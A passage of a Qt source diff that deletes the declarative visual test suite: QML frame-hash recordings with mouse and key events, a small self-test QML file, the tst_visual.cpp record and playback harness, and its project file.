hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 48 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 64 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 80 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 96 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 112 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 128 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 144 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 160 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 176 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 192 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 208 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 224 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 240 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 256 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 272 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 288 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 304 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 320 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 336 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 352 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 368 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 384 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 400 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 416 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 432 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 448 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 464 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 480 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 496 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 512 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 528 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 544 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 560 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 576 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 592 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 608 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 624 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 640 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 656 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 672 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 688 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 704 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 720 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 736 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 752 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 768 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 784 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 800 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 816 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 832 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 848 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 864 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 880 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 896 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 912 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 928 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 944 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 960 - image: "basic4.0.png" - } - Frame { - msec: 976 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 992 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1008 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1024 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1040 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1056 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1072 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1088 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1104 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1120 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1136 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1152 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1168 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1184 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1200 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1216 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1232 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1248 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1264 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1280 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1296 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1312 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1328 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1344 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1360 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1376 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1392 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1408 - hash: "539de20cf149353d2677111ea3de5681" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1424 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1440 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1456 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1472 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1488 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1504 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1520 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1536 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1552 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1568 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1584 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1600 - hash: "539de20cf149353d2677111ea3de5681" - } - Frame { - msec: 1616 - hash: "539de20cf149353d2677111ea3de5681" - } -} diff --git a/tests/auto/declarative/visual/selftest_noimages/data/selftest_noimages.qml b/tests/auto/declarative/visual/selftest_noimages/data/selftest_noimages.qml deleted file mode 100644 index 3104906..0000000 --- a/tests/auto/declarative/visual/selftest_noimages/data/selftest_noimages.qml +++ /dev/null @@ -1,470 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - } - Frame { - msec: 32 - } - Frame { - msec: 48 - } - Frame { - msec: 64 - } - Frame { - msec: 80 - } - Frame { - msec: 96 - } - Frame { - msec: 112 - } - Frame { - msec: 128 - } - Frame { - msec: 144 - } - Frame { - msec: 160 - } - Frame { - msec: 176 - } - Frame { - msec: 192 - } - Frame { - msec: 208 - } - Frame { - msec: 224 - } - Frame { - msec: 240 - } - Frame { - msec: 256 - } - Frame { - msec: 272 - } - Frame { - msec: 288 - } - Frame { - msec: 304 - } - Frame { - msec: 320 - } - Frame { - msec: 336 - } - Frame { - msec: 352 - } - Frame { - msec: 368 - } - Frame { - msec: 384 - } - Frame { - msec: 400 - } - Frame { - msec: 416 - } - Frame { - msec: 432 - } - Frame { - msec: 448 - } - Frame { - msec: 464 - } - Frame { - msec: 480 - } - Frame { - msec: 496 - } - Frame { - msec: 512 - } - Frame { - msec: 528 - } - Frame { - msec: 544 - } - Frame { - msec: 560 - } - Frame { - msec: 576 - } - Frame { - msec: 592 - } - Frame { - msec: 608 - } - Frame { - msec: 624 - } - Frame { - msec: 640 - } - Frame { - msec: 656 - } - Frame { - msec: 672 - } - Frame { - msec: 688 - } - Frame { - msec: 704 - } - Frame { - msec: 720 - } - Frame { - msec: 736 - } - Frame { - msec: 752 - } - Frame { - msec: 768 - } - Frame { - msec: 784 - } - Frame { - msec: 800 - } - Frame { - msec: 816 - } - Frame { - msec: 832 - } - Frame { - msec: 848 - } - Frame { - msec: 864 - } - Frame { - msec: 880 - } - Frame { - msec: 896 - } - Frame { - msec: 912 - } - Frame { - msec: 928 - } - Frame { - msec: 944 - } - Frame { - msec: 960 - } - Frame { - msec: 976 - } - Frame { - msec: 992 - } - Frame { - msec: 1008 - } - Frame { - msec: 1024 - } - Frame { - msec: 1040 - } - Frame { - msec: 1056 - } - Frame { - msec: 1072 - } - Frame { - msec: 1088 - } - Frame { - msec: 1104 - } - Frame { - msec: 1120 - } - Frame { - msec: 1136 - } - Frame { - msec: 1152 - } - Frame { - msec: 1168 - } - Frame { - msec: 1184 - } - Frame { - msec: 1200 - } - Frame { - msec: 1216 - } - Frame { - msec: 1232 - } - Frame { - msec: 1248 - } - Frame { - msec: 1264 - } - Frame { - msec: 1280 - } - Frame { - msec: 1296 - } - Frame { - msec: 1312 - } - Frame { - msec: 1328 - } - Frame { - msec: 1344 - } - Frame { - msec: 1360 - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 77; y: 7 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1376 - } - Frame { - msec: 1392 - } - Frame { - msec: 1408 - } - Frame { - msec: 1424 - } - Frame { - msec: 1440 - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 77; y: 7 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1456 - } - Frame { - msec: 1472 - } - Frame { - msec: 1488 - } - Frame { - msec: 1504 - } - Frame { - msec: 1520 - } - Frame { - msec: 1536 - } - Frame { - msec: 1552 - } - Frame { - msec: 1568 - } - Frame { - msec: 1584 - } - Frame { - msec: 1600 - } - Frame { - msec: 1616 - } - Frame { - msec: 1632 - } - Frame { - msec: 1648 - } - Frame { - msec: 1664 - } - Frame { - msec: 1680 - } - Frame { - msec: 1696 - } - Frame { - msec: 1712 - } - Frame { - msec: 1728 - } - Frame { - msec: 1744 - } - Frame { - msec: 1760 - } - Frame { - msec: 1776 - } - Frame { - msec: 1792 - } - Frame { - msec: 1808 - } - Frame { - msec: 1824 - } - Frame { - msec: 1840 - } - Frame { - msec: 1856 - } - Frame { - msec: 1872 - } - Frame { - msec: 1888 - } - Frame { - msec: 1904 - } - Frame { - msec: 1920 - } - Frame { - msec: 1936 - } - Frame { - msec: 1952 - } - Frame { - msec: 1968 - } - Frame { - msec: 1984 - } - Frame { - msec: 2000 - } - Frame { - msec: 2016 - } - Frame { - msec: 2032 - } - Frame { - msec: 2048 - } - Frame { - msec: 2064 - } - Frame { - msec: 2080 - } - Frame { - msec: 2096 - } - Frame { - msec: 2112 - } - Frame { - msec: 2128 - } - Frame { - msec: 2144 - } - Frame { - msec: 2160 - } - Frame { - msec: 2176 - } - Frame { - msec: 2192 - } - Frame { - msec: 2208 - } - Frame { - msec: 2224 - } - Frame { - msec: 2240 - } - Frame { - msec: 2256 - } - Frame { - msec: 2272 - } - Frame { - msec: 2288 - } - Frame { - msec: 2304 - } - Frame { - msec: 2320 - } - Frame { - msec: 2336 - } - Frame { - msec: 2352 - } - Frame { - msec: 2368 - } - Frame { - msec: 2384 - } -} diff --git a/tests/auto/declarative/visual/selftest_noimages/selftest_noimages.qml b/tests/auto/declarative/visual/selftest_noimages/selftest_noimages.qml deleted file mode 100644 index da7f9b6..0000000 --- a/tests/auto/declarative/visual/selftest_noimages/selftest_noimages.qml +++ /dev/null @@ -1,9 +0,0 @@ -import Qt 4.6 -Text { - property string error: "not pressed" - text: (new Date()).valueOf() - MouseArea { - anchors.fill: parent - onPressed: error="" - } -} diff --git a/tests/auto/declarative/visual/tst_visual.cpp b/tests/auto/declarative/visual/tst_visual.cpp deleted file mode 100644 index cd88e87..0000000 --- a/tests/auto/declarative/visual/tst_visual.cpp +++ /dev/null @@ -1,370 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include - -enum Mode { Record, RecordNoVisuals, Play, TestVisuals, RemoveVisuals, UpdateVisuals, UpdatePlatformVisuals, Test }; - -static QString testdir; -class tst_visual : public QObject -{ - Q_OBJECT -public: - tst_visual(); - - static QString toTestScript(const QString &, Mode=Test); - static QString viewer(); - - static QStringList findQmlFiles(const QDir &d); -private slots: - void visual_data(); - void visual(); - -private: - QString qmlruntime; -}; - - -tst_visual::tst_visual() -{ - qmlruntime = viewer(); -} - -QString tst_visual::viewer() -{ - QString binaries = QLibraryInfo::location(QLibraryInfo::BinariesPath); - - QString qmlruntime; - -#if defined(Q_WS_MAC) - qmlruntime = QDir(binaries).absoluteFilePath("qml.app/Contents/MacOS/qml"); -#elif defined(Q_WS_WIN) - qmlruntime = QDir(binaries).absoluteFilePath("qml.exe"); -#else - qmlruntime = QDir(binaries).absoluteFilePath("qml"); -#endif - - return qmlruntime; -} - -void tst_visual::visual_data() -{ - QTest::addColumn("file"); - QTest::addColumn("testdata"); - - QStringList files; - files << findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); - - foreach (const QString &file, files) { - QString testdata = toTestScript(file); - if (testdata.isEmpty()) - continue; - - QTest::newRow(file.toLatin1().constData()) << file << testdata; - } -} - -void tst_visual::visual() -{ - QFETCH(QString, file); - QFETCH(QString, testdata); - - QStringList arguments; - arguments << "-script" << testdata - << "-scriptopts" << "play,testimages,testerror,exitoncomplete,exitonfailure" - << file; - QProcess p; - p.start(qmlruntime, arguments); - QVERIFY(p.waitForFinished()); - if (p.exitCode() != 0) - qDebug() << p.readAllStandardError(); - QCOMPARE(p.exitStatus(), QProcess::NormalExit); - QCOMPARE(p.exitCode(), 0); -} - -QString tst_visual::toTestScript(const QString &file, Mode mode) -{ - if (!file.endsWith(".qml")) - return QString(); - - int index = file.lastIndexOf(QDir::separator()); - if (index == -1) - return QString(); - - const char* platformsuffix=0; // platforms with different fonts -#if defined(Q_WS_MACX) - platformsuffix = "-MAC"; -#elif defined(Q_WS_X11) - platformsuffix = "-X11"; -#elif defined(Q_WS_WIN32) - platformsuffix = "-WIN"; -#elif defined(Q_WS_QWS) - platformsuffix = "-QWS"; -#elif defined(Q_WS_S60) - platformsuffix = "-S60"; -#endif - - QString testdata = file.left(index + 1) + - QString("data"); - QString testname = file.mid(index + 1, file.length() - index - 5); - - if (platformsuffix && (mode == UpdatePlatformVisuals || QFile::exists(testdata+QLatin1String(platformsuffix)+QDir::separator()+testname+".qml"))) { - QString platformdir = testdata + QLatin1String(platformsuffix); - if (mode == UpdatePlatformVisuals) { - Q_ASSERT(QDir().mkpath(platformdir)); - // Copy from base - QDir dir(testdata,testname+".*"); - dir.setFilter(QDir::Files); - QFileInfoList list = dir.entryInfoList(); - for (int i = 0; i < list.size(); ++i) { - QFile in(list.at(i).filePath()); - Q_ASSERT(in.open(QIODevice::ReadOnly)); - QFile out(platformdir + QDir::separator() + list.at(i).fileName()); - Q_ASSERT(out.open(QIODevice::WriteOnly)); - out.write(in.readAll()); - } - } - testdata = platformdir; - } - - testdata += QDir::separator() + testname; - - return testdata; -} - -QStringList tst_visual::findQmlFiles(const QDir &d) -{ - QStringList rv; - - QStringList files = d.entryList(QStringList() << QLatin1String("*.qml"), - QDir::Files); - foreach (const QString &file, files) { - if (file.at(0).isLower()) { - rv << d.absoluteFilePath(file); - } - } - - QStringList dirs = d.entryList(QDir::Dirs | QDir::NoDotAndDotDot | - QDir::NoSymLinks); - foreach (const QString &dir, dirs) { - if (dir.left(4) == "data") - continue; - - QDir sub = d; - sub.cd(dir); - rv << findQmlFiles(sub); - } - - return rv; -} - -void action(Mode mode, const QString &file) -{ - Q_ASSERT(mode != Test); - - QString testdata = tst_visual::toTestScript(file,mode); - - QStringList arguments; - switch (mode) { - case Test: - // Don't run qml - break; - case Record: - arguments << "-script" << testdata - << "-scriptopts" << "record,testimages,saveonexit" - << file; - break; - case RecordNoVisuals: - arguments << "-script" << testdata - << "-scriptopts" << "record,saveonexit" - << file; - break; - case Play: - arguments << "-script" << testdata - << "-scriptopts" << "play,testimages,testerror,exitoncomplete" - << file; - break; - case TestVisuals: - arguments << "-script" << testdata - << "-scriptopts" << "play" - << file; - break; - case UpdateVisuals: - case UpdatePlatformVisuals: - arguments << "-script" << testdata - << "-scriptopts" << "play,record,testimages,exitoncomplete,saveonexit" - << file; - break; - case RemoveVisuals: - arguments << "-script" << testdata - << "-scriptopts" << "play,record,exitoncomplete,saveonexit" - << file; - break; - } - if (!arguments.isEmpty()) { - QProcess p; - p.setProcessChannelMode(QProcess::ForwardedChannels); - p.start(tst_visual::viewer(), arguments); - p.waitForFinished(); - } -} - -void usage() -{ - fprintf(stderr, "\n"); - fprintf(stderr, "QML related options\n"); - fprintf(stderr, " -listtests : list all the tests seen by tst_visual, and then exit immediately\n"); - fprintf(stderr, " -record file : record new test data for file\n"); - fprintf(stderr, " -recordnovisuals file : record new test data for file, but ignore visuals\n"); - fprintf(stderr, " -play file : playback test data for file, printing errors\n"); - fprintf(stderr, " -testvisuals file : playback test data for file, without errors\n"); - fprintf(stderr, " -updatevisuals file : playback test data for file, accept new visuals for file\n"); - fprintf(stderr, " -updateplatformvisuals file : playback test data for file, accept new visuals for file only on current platform (MacOSX/Win32/X11/QWS/S60)\n"); - fprintf(stderr, "\n" - "Visual tests are recordings of manual interactions with a QML test,\n" - "that can then be run automatically. To record a new test, run:\n" - "\n" - " tst_visual -record yourtestdir/yourtest.qml\n" - "\n" - "This records everything you do (try to keep it short).\n" - "To play back a test, run:\n" - "\n" - " tst_visual -play yourtestdir/yourtest.qml\n" - "\n" - "Your test may include QML code to test itself, reporting any error to an\n" - "'error' property on the root object - the test will fail if this property\n" - "gets set to anything non-empty.\n" - "\n" - "If your test changes slightly but is still correct (check with -play), you\n" - "can update the visuals by running:\n" - "\n" - " tst_visual -updatevisuals yourtestdir/yourtest.qml\n" - "\n" - "If your test includes platform-sensitive visuals (eg. text in system fonts),\n" - "you should create platform-specific visuals, using -updateplatformvisuals\n" - "instead.\n" - "\n" - "If you ONLY wish to use the 'error' property, you can record your test with\n" - "-recordnovisuals, or discard existing visuals with -removevisuals; the test\n" - "will then only fail on a syntax error, crash, or non-empty 'error' property.\n" - ); -} - -int main(int argc, char **argv) -{ - QApplication app(argc, argv); - - Mode mode = Test; - QString file; - bool showHelp = false; - - int newArgc = 1; - char **newArgv = new char*[argc]; - newArgv[0] = argv[0]; - - for (int ii = 1; ii < argc; ++ii) { - QString arg(argv[ii]); - if (arg == "-play" && (ii + 1) < argc) { - mode = Play; - file = argv[++ii]; - } else if (arg == "-record" && (ii + 1) < argc) { - mode = Record; - file = argv[++ii]; - } else if (arg == "-recordnovisuals" && (ii + 1) < argc) { - mode = RecordNoVisuals; - file = argv[++ii]; - } else if (arg == "-testvisuals" && (ii + 1) < argc) { - mode = TestVisuals; - file = argv[++ii]; - } else if (arg == "-removevisuals" && (ii + 1) < argc) { - mode = RemoveVisuals; - file = argv[++ii]; - } else if (arg == "-updatevisuals" && (ii + 1) < argc) { - mode = UpdateVisuals; - file = argv[++ii]; - } else if (arg == "-updateplatformvisuals" && (ii + 1) < argc) { - mode = UpdatePlatformVisuals; - file = argv[++ii]; - } else { - newArgv[newArgc++] = argv[ii]; - } - - if (arg == "-help" || arg == "-?" || arg == "--help") { - atexit(usage); - showHelp = true; - } - - if (arg == "-listtests") { - QStringList list = tst_visual::findQmlFiles(QDir(QT_TEST_SOURCE_DIR)); - foreach (QString test, list) { - qWarning() << qPrintable(test); - } - return 0; - } - } - - if (mode == Test || showHelp) { - tst_visual tc; - return QTest::qExec(&tc, newArgc, newArgv); - } else { - if (!file.endsWith(QLatin1String(".qml"))) { - qWarning() << "Error: Invalid file name (must end in .qml)"; - return -1; - } - QDir d = QDir::current(); - QString absFile = d.absoluteFilePath(file); - if (!QFile::exists(absFile)) { - qWarning() << "Error: File does not exist"; - return -1; - } - - action(mode, absFile); - return 0; - } -} - -#include "tst_visual.moc" diff --git a/tests/auto/declarative/visual/visual.pro b/tests/auto/declarative/visual/visual.pro deleted file mode 100644 index 7ae2bed..0000000 --- a/tests/auto/declarative/visual/visual.pro +++ /dev/null @@ -1,7 +0,0 @@ -load(qttest_p4) -contains(QT_CONFIG,declarative): QT += declarative -macx:CONFIG -= app_bundle - -SOURCES += tst_visual.cpp - -DEFINES += QT_TEST_SOURCE_DIR=\"\\\"$$PWD\\\"\" diff --git a/tests/auto/declarative/visual/webview/embedding/data/nesting.0.png b/tests/auto/declarative/visual/webview/embedding/data/nesting.0.png deleted file mode 100644 index 57de710..0000000 Binary files a/tests/auto/declarative/visual/webview/embedding/data/nesting.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/webview/embedding/data/nesting.qml b/tests/auto/declarative/visual/webview/embedding/data/nesting.qml deleted file mode 100644 index 8d38ebe..0000000 --- a/tests/auto/declarative/visual/webview/embedding/data/nesting.qml +++ /dev/null @@ -1,363 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "5dc8dca7a73022fbf2116b654b709244" - } - Frame { - msec: 32 - hash: "5dc8dca7a73022fbf2116b654b709244" - } - Frame { - msec: 48 - hash: "34079c4076ab6aadd8b64fcba7d95e15" - } - Frame { - msec: 64 - hash: "5ab5fc62b49e78d0609dcb4be6c9a157" - } - Frame { - msec: 80 - hash: "063cc7438bbffae717648d98006021a8" - } - Frame { - msec: 96 - hash: "c5cd16663e48639cbeade82c3bfa0403" - } - Frame { - msec: 112 - hash: "ea7f8df84ddbad0f683fe97ddb0a0130" - } - Frame { - msec: 128 - hash: "3c353e09bdb3a1e6ff388ad6020f55ea" - } - Frame { - msec: 144 - hash: "5b6de430365d0c9824337011916b0c0b" - } - Frame { - msec: 160 - hash: "48d353ac9e7ee1ce41361d0a2b47e008" - } - Frame { - msec: 176 - hash: "c96e4d02d343ddd78e8d3dd6aa8e0198" - } - Frame { - msec: 192 - hash: "543c63d77ec635b77672ba4c5160a3d4" - } - Frame { - msec: 208 - hash: "2d56ad9c2352e555fef613d625e71151" - } - Frame { - msec: 224 - hash: "18e433c3e3ee64510f875f674791d51c" - } - Frame { - msec: 240 - hash: "56889122c1ddacdd8ebd88310c7410bc" - } - Frame { - msec: 256 - hash: "d51c85458e0109bd5bf9528b741d98d0" - } - Frame { - msec: 272 - hash: "ac54137afc29a3022c6f01df7cdf2fd6" - } - Frame { - msec: 288 - hash: "c7a42b389bae3b729ba9e6cba7f54530" - } - Frame { - msec: 304 - hash: "7583b55841e80891652c3472c658f989" - } - Frame { - msec: 320 - hash: "95a7f8d47c3788261427727f82c9ff59" - } - Frame { - msec: 336 - hash: "a87bad3e2f010680e16cd1e3f5e03e99" - } - Frame { - msec: 352 - hash: "e16bc51653f21819e0eec412b99a069f" - } - Frame { - msec: 368 - hash: "f1e869580ac148ae207141c5f0adc185" - } - Frame { - msec: 384 - hash: "7e496e44363a16d7c62e4258af9ce087" - } - Frame { - msec: 400 - hash: "19e97915c84d3554c66d5a9ad3aa6a3e" - } - Frame { - msec: 416 - hash: "181181b48a1085d1850f18ca9b163549" - } - Frame { - msec: 432 - hash: "4637cb04595a543867bd43b0c1c829ea" - } - Frame { - msec: 448 - hash: "bd0a074fed5507f8556de6110bf56aa4" - } - Frame { - msec: 464 - hash: "9547618923edac6f7f9a3ff324c4f2d8" - } - Frame { - msec: 480 - hash: "a2f90c88eacb7c66878d45e33c2a787d" - } - Frame { - msec: 496 - hash: "d5ffd3e35d0426887c106069310f84d8" - } - Frame { - msec: 512 - hash: "6bc50a5b76e2a2ef0e6bee762abeb330" - } - Frame { - msec: 528 - hash: "d4439933c842ed8432434d272fea2845" - } - Frame { - msec: 544 - hash: "61699e6ec476ac3f090e4f485430421d" - } - Frame { - msec: 560 - hash: "02d7fa9bcd697d2cab364d0a3ca4a0e2" - } - Frame { - msec: 576 - hash: "914178cbf1f6a6822cc40f81823475e4" - } - Frame { - msec: 592 - hash: "280f867ea27891ee764332998567d40d" - } - Frame { - msec: 608 - hash: "ea0d00fe54a172a89c24eac781f7ae6d" - } - Frame { - msec: 624 - hash: "4e910fb507964a710e26f318c62227bf" - } - Frame { - msec: 640 - hash: "b0c3392eb739f270dd21f552ad999c23" - } - Frame { - msec: 656 - hash: "f3698c83b0972bd66a53ad95d4fc301e" - } - Frame { - msec: 672 - hash: "0d303a0d6a9b626943ac93cc6f3fb230" - } - Frame { - msec: 688 - hash: "ba56d49e6f51aa6f1bd2a7500e3538fd" - } - Frame { - msec: 704 - hash: "273ce89d5194168e5bfd1dcefad49be2" - } - Frame { - msec: 720 - hash: "c2beef4fb7996dbccdaff4f54bdc33f1" - } - Frame { - msec: 736 - hash: "1e1aa7d84f27158a8e61bd8698ddbf2a" - } - Frame { - msec: 752 - hash: "24e82479802e710c673133ca0413be66" - } - Frame { - msec: 768 - hash: "b77e935a690bcb396e15b942d772cf1b" - } - Frame { - msec: 784 - hash: "7b729c74df1d15d6b0e8e1fc19c2d710" - } - Frame { - msec: 800 - hash: "fd6cbdca3e481baaf35022dfea76e74c" - } - Frame { - msec: 816 - hash: "c975f6eb592793aa81895ffcb74ca577" - } - Frame { - msec: 832 - hash: "677c4039a650df53b4e885f37b049ab3" - } - Frame { - msec: 848 - hash: "89563aae36552cb1749ec06567e46d9d" - } - Frame { - msec: 864 - hash: "01f57402874de6608cc02937aaf91794" - } - Frame { - msec: 880 - hash: "50c9c4e5eaaadee1ff230975390d34e3" - } - Frame { - msec: 896 - hash: "20b7d277d398afad59afdf9e6b41a57e" - } - Frame { - msec: 912 - hash: "8f9ea938a2375afeba419199de66dd52" - } - Frame { - msec: 928 - hash: "b96745888ba954bcf304c0840a030f93" - } - Frame { - msec: 944 - hash: "f5715e931274011123160f7ad10d6c52" - } - Frame { - msec: 960 - image: "nesting.0.png" - } - Frame { - msec: 976 - hash: "459fe967816c795a177a3926093fae75" - } - Frame { - msec: 992 - hash: "c599a26083068b6db628c8d8416bab60" - } - Frame { - msec: 1008 - hash: "e0aee7d1152c971b1beee9d36542acb7" - } - Frame { - msec: 1024 - hash: "2af0facdf6412f7b06979aae25e4db26" - } - Frame { - msec: 1040 - hash: "f147a92cb1826f95d4fdb7d011ba79b1" - } - Frame { - msec: 1056 - hash: "12a1cb894b0fb8e44152cccacf855c1a" - } - Frame { - msec: 1072 - hash: "c7500cf58b74fef2c3e9820d1de8f843" - } - Frame { - msec: 1088 - hash: "3a031b2206835f8b2dc9837016df6ae6" - } - Frame { - msec: 1104 - hash: "7a4796b419bbc04237764dea0b1d47d5" - } - Frame { - msec: 1120 - hash: "151d350f0064e2faf0bfb9c58bc3e4f2" - } - Frame { - msec: 1136 - hash: "d72c20a97e678908acc1d6c1f8114d9e" - } - Frame { - msec: 1152 - hash: "22da1e645640a3c31b064ff757113197" - } - Frame { - msec: 1168 - hash: "401f0bf370e2ecea5a84276fb72eb1da" - } - Frame { - msec: 1184 - hash: "c6e00d7b0ac14a5c3860b6a29901c915" - } - Frame { - msec: 1200 - hash: "f1f7dc55d7719fcb6e97157c0ca85fc0" - } - Frame { - msec: 1216 - hash: "6a112e1d79c7128c235d093e4f1f9325" - } - Frame { - msec: 1232 - hash: "14a2caf8cdca8d5147261a315059b69d" - } - Frame { - msec: 1248 - hash: "5645243aa3cfd12b0b32442f063bedb2" - } - Frame { - msec: 1264 - hash: "c7f72534a88e33c72a54cb8580534551" - } - Frame { - msec: 1280 - hash: "6cd5e2e8e0128586a682b3c649ae0631" - } - Frame { - msec: 1296 - hash: 